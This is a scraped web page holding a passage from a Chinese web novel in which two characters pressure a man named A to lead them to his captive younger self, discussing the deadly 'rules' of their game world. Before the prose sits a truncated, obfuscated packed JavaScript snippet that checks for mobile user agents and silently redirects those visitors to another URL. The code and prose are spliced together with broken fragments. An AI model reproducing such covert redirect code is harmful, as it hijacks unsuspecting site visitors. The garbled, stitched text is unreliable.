RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164087|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但你也知道只是暂时。”隋舟呵呵笑了几声说,“老实说,我们不是这个世界的人,我们一个同伴已经挟持了小时候的你,说不定现在正在折磨你,你可以尝试回忆一下,看看你记忆中到底是不是有这一段尘封的记忆,这样你就知道我们是否骗你了。” A听到之后,低头开始回忆起来。 隋舟提醒道:“不着急,好好想,虽然正在发生,但在你的记忆中,确实是三十年前的事了。” 突然,A的脸色大变,他确实多出了一段回忆!在自己小时候,被捆绑在一个狭小的房间里,旁边坐着一个羸弱的女人,女人恶狠狠地看着自己,接着她一巴掌拍在了自己脸上。 “啊!”A吓地叫了一声。 隋舟和陆行对视一眼,看来他想起了,也证实了鲍芙迎确实和少年A在一起。 “你们要我做什么?”A浑身发抖问。 陆行:“告诉我们小时候的你在哪里?” “你们要找我?”A问,“不,你们是要找小时候的我?干什么?” “救你。”隋舟说道。 “为什么要救我?”A根本不相信。 陆行看了他一眼说道:“你不必知道原因,你只需要知道我们不想那个女人杀了你,就算要杀也不是现在。” A陷入了沉思,仿佛在思索陆行话语的真实性。 隋舟说道:“现在小时候的你和长大了的你都被抓了,如果我们想杀你,不论是小时候的你还是现在的你轻而易举就可以被我们杀死,你不如堵一局。” 半晌,A开了口,“好,我暂且相信你们,我确实知道那里是什么地方了,但是我可以告诉你们地址后,你们自己去,我不去。” “不行。”隋舟冷笑一声,“你骗我们呢?必须一起。” 去往那里的路上,隋舟小声对陆行说,“我之前疏忽了一种可能,我在想,倘若鲍芙迎杀了少年A之后,成年A就被抹杀了存在,那么即使有小孩死亡大人也要死亡这个规则存在,成年A也不能杀人了不是吗?成年A不能杀人自然也不能杀抱芙迎了?” 陆行摇头:“不是,规则是第一顺位的,如果她真的杀了少年A,就算没有成年A,规则也一定会让她死亡,成年A只是规则的一把刀罢了,规则可以拥有许多刀。” 规则可以拥有许多刀…这句话让隋舟再一次对这个世界感到了诡异的迷惑。 “我其实还想到了一个方法。”隋舟说道,“吴母的留言是无论我们是否成功,今夜她都在那里等我们。所以,我们暂且先不要杀少年A,我们把少年A带到吴母面前,交给吴母让她处理,你觉得这样可以算完成这个副本吗?” 陆行思考了一下说:“一般来说,副本只看结果,不看方式和过程。这个副本一共两个任务,一是护士长地让我们找到凶手,我们已经完成了;二是吴母让我们救她女儿——考虑到她女儿已经死亡了,所以少年A必须死亡,少年A只有无法长大,才能改写成年A杀死的那些受害者的命运。不过你说的这个方法可以尝试一下,用这个方法的话,我们唯一要注意的就是截止时间不要错过了。 陆行说完看了看隋舟,漫不经心地说道,“……老实说,鲍芙迎看起来是真的没想活了。”